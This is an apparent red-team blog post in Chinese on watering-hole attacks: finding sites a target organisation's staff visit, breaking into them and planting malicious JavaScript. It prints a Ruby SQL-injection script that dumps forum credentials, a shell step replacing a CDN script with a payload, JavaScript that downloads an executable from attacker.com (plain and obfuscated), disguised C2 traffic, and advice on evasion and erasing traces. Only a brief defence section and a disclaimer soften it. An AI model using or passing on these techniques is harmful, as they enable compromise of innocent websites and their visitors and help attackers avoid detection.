一、为什么水坑攻击能绕过传统防御?

有一次我在客户的网络中模拟外部攻击,目标的防御系统相当完善:防火墙、IDS/IPS、EDR,甚至连邮件服务器的反钓鱼过滤都做了加固。但这种防护体系有一个共通的弱点:它们通常是针对直接入侵的流量、邮件、恶意附件等显性威胁,而对间接威胁,比如“用户主动访问”带来的风险,往往缺乏针对性。

黑客示意图

于是我试图绕过传统防御的常规规则,思考一种方式:能否让目标用户自己主动触发攻击链? 这就自然想到了水坑攻击。这种攻击利用目标组织内部员工经常访问的合法网站,将恶意代码注入其中,诱导用户触发下载或执行,达到渗透的目的。

水坑攻击之所以危险,是因为它让受害者变成了攻击链的一部分,用户的行为本身绕过了许多安全产品的规则。比如,用户访问被感染的网站时,流量是合法的;他们下载的内容可能看起来也是无害的。而且如果攻击者选择一个目标信任的网站作为水坑,成功率会非常高。

接下来,我会展示水坑攻击的实战思路,包括如何定位目标网站、如何注入恶意代码、以及如何绕过常见检测。

---

二、识别水坑目标:找到他们最爱去的地方

做水坑攻击之前,第一步是找到目标组织员工经常访问的网站。这部分往往需要一定的社工能力和信息收集技巧。我有一次在渗透一个科技公司时,通过以下方式挖掘出了几个高价值的目标网站:

1. 验证社交媒体信息

通过 LinkedIn、Twitter 等平台,我发现目标公司的员工经常转发某个行业论坛的链接,这种链接通常可以作为潜在的水坑目标。尤其如果论坛有讨论区,注入点会非常多。

2. 分析 DNS流量

如果你有机会接触到目标组织的 DNS 流量,分析其中的访问频率最高的网站也是一种好方法。有一次,我通过捕获 DNS 请求发现目标内网用户每天都会访问某个特定的 PDF下载站点,作为行业内部文件的分享平台,这几乎是天然的水坑目标。

3. Google Hacking

我也常用 Google Dork 技术来定位目标公司可能的外部资源,比如: <pre><code>site:example.com filetype:pdf</code></pre> 通过这种方式,可以找到公开的资料下载页面,之后再对这些页面进行漏洞探测。

小技巧: 目标网站的访问频率和信任度是最重要的因素。如果网站流量很低或者用户不信任这个站点,即使你成功感染了它,也无法引导目标用户触发攻击。

---

三、代码注入:构造你的水坑

拿到目标网站后,接下来就是如何将恶意代码注入到其中。我个人通常有两种方法:

方法1:直接获取网站的权限

这是最优方案,但前提是你能攻破目标网站本身的防护。比如有一次,我发现一个行业论坛存在 SQL 注入漏洞,可以用以下 Ruby 的代码脚本直接获取管理员权限:

<pre><code class="language-ruby">require &#039;net/http&#039; require &#039;uri&#039;

目标网站URL

url = URI.parse(&quot;http://target-site.com/forum.php?id=1&quot;)

构造SQL注入Payload

payload = &quot;1&#039; UNION SELECT username, password FROM users -- &quot;

http = Net::HTTP.new(url.host, url.port) request = Net::HTTP::Post.new(url.path) request[&#039;Content-Type&#039;] = &#039;application/x-www-form-urlencoded&#039; request.body = &quot;id=#{payload}&quot;

response = http.request(request)

打印响应内容

puts response.body</code></pre>

通过这个脚本,我成功获取了论坛管理员的账号密码,并在后台上传了一个恶意的 JavaScript 文件,用于执行水坑攻击。

方法2:漏洞利用中的间接注入

如果目标网站没有直接的漏洞怎么办?我会选择寻找网站中外部引入资源,比如广告代码、第三方 JS 插件等。通过劫持这些资源,可以间接影响目标站点。以下是一个简单的 Shell 实例,用于替换一个 CDN 文件中的 JS:

<pre><code class="language-bash"># 假设我们已经拿到了 CDN服务器的权限 TARGET_JS=&quot;/var/www/cdn/js/main.js&quot; PAYLOAD_JS=&quot;malicious.js&quot;

替换原始文件

cp $PAYLOAD_JS $TARGET_JS echo &quot;[+] 替换成功,水坑代码已注入目标网站&quot;</code></pre>

这种方式特别适合那些使用大量外部资源的小型站点。

---

黑客示意图

四、绕过安全检测:让你的代码隐形

注入完成后,攻击代码能否逃过检测是成功的关键。某次实战中,我遇到目标组织使用了强大的 EDR产品,对所有流量进行实时分析。我通过以下几种技巧绕过了检测:

1. 混淆代码

直接注入的 JavaScript 太容易被识别,因此需要进行混淆。我常用 Obfuscator.io 工具处理恶意代码,使其几乎无法被直接扫描识别。比如下面的原始代码: <pre><code class="language-javascript">var xhr = new XMLHttpRequest(); xhr.open(&quot;GET&quot;, &quot;http://attacker.com/payload.exe&quot;, true); xhr.send();</code></pre> 混淆后的代码会变成: <pre><code class="language-javascript">var _0x2b1c=[&quot;\x47\x45\x54&quot;,&quot;\x68\x74\x74\x70\x3A\x2F\x2F\x61\x74\x74\x61\x63\x6B\x65\x72\x2E\x63\x6F\x6D\x2F\x70\x61\x79\x6C\x6F\x61\x64\x2E\x65\x78\x65&quot;];var xhr=new XMLHttpRequest;xhr.open(_0x2b1c[0],_0x2b1c[1],true);xhr.send();</code></pre>

2. 使用合法流量伪装

为了避免目标防火墙的流量分析,我会伪装我的 C2 通信为常见的合法协议,比如 DNS 或 HTTPS。例如使用 HTTPS 伪装时,可以用如下方式: <pre><code class="language-ruby">require &#039;net/http&#039; require &#039;uri&#039;

url = URI.parse(&quot;https://legitimate-site.com/analytics&quot;) payload = { &quot;user&quot; =&gt; &quot;admin&quot;, &quot;data&quot; =&gt; &quot;malicious_command&quot; }

黑客示意图

http = Net::HTTP.new(url.host, url.port) request = Net::HTTP::Post.new(url.path) request.body = payload.to_json

response = http.request(request) puts &quot;[+] 数据伪装通信成功&quot;</code></pre>

这种方式可以把 C2 通信隐藏在合法流量中,绕过流量分析。

---

五、如何检测并防御水坑攻击

虽然我是从攻击角度来讲解的,但水坑攻击的防御也非常值得研究。以下是我的一些建议:

1. 提升浏览监控

对用户流量的异常行为进行监控,比如某个用户突然访问了一个不常见的第三方资源,可以触发告警。

2. 加强 DNS检测

水坑攻击的恶意代码经常需要通过 DNS 或 HTTP 请求进行通信。通过分析 DNS流量,可以识别潜在的异常行为。

3. 做好补丁管理

很多水坑攻击依赖网站本身的漏洞,比如 SQL 注入。如果能及时给网站打补丁,就能防止攻击者植入恶意代码。

---

六、红队经验总结

水坑攻击是一种极具隐蔽性和杀伤力的技术,尤其是在目标组织防御较强的时候,往往比传统攻击方式更有效。不过,这种攻击对攻击者的社工能力、信息收集技巧,以及代码隐蔽性都有较高要求。以下是我总结的几个关键点:

  1. 提前收集情报:目标的行为模式决定你的攻击成功率。
  2. 选择高质量站点:水坑的目标网站越可信,攻击效果越好。
  3. 代码免杀是核心:绕过检测是攻击链的关键环节。
  4. 痕迹清除很重要:无论如何,要避免攻击行为被溯源。

这是一次从实战中总结的经验,希望对你的研究有所启发。当然,本文的技术仅供授权的红队测试和学习,切勿用于非法用途。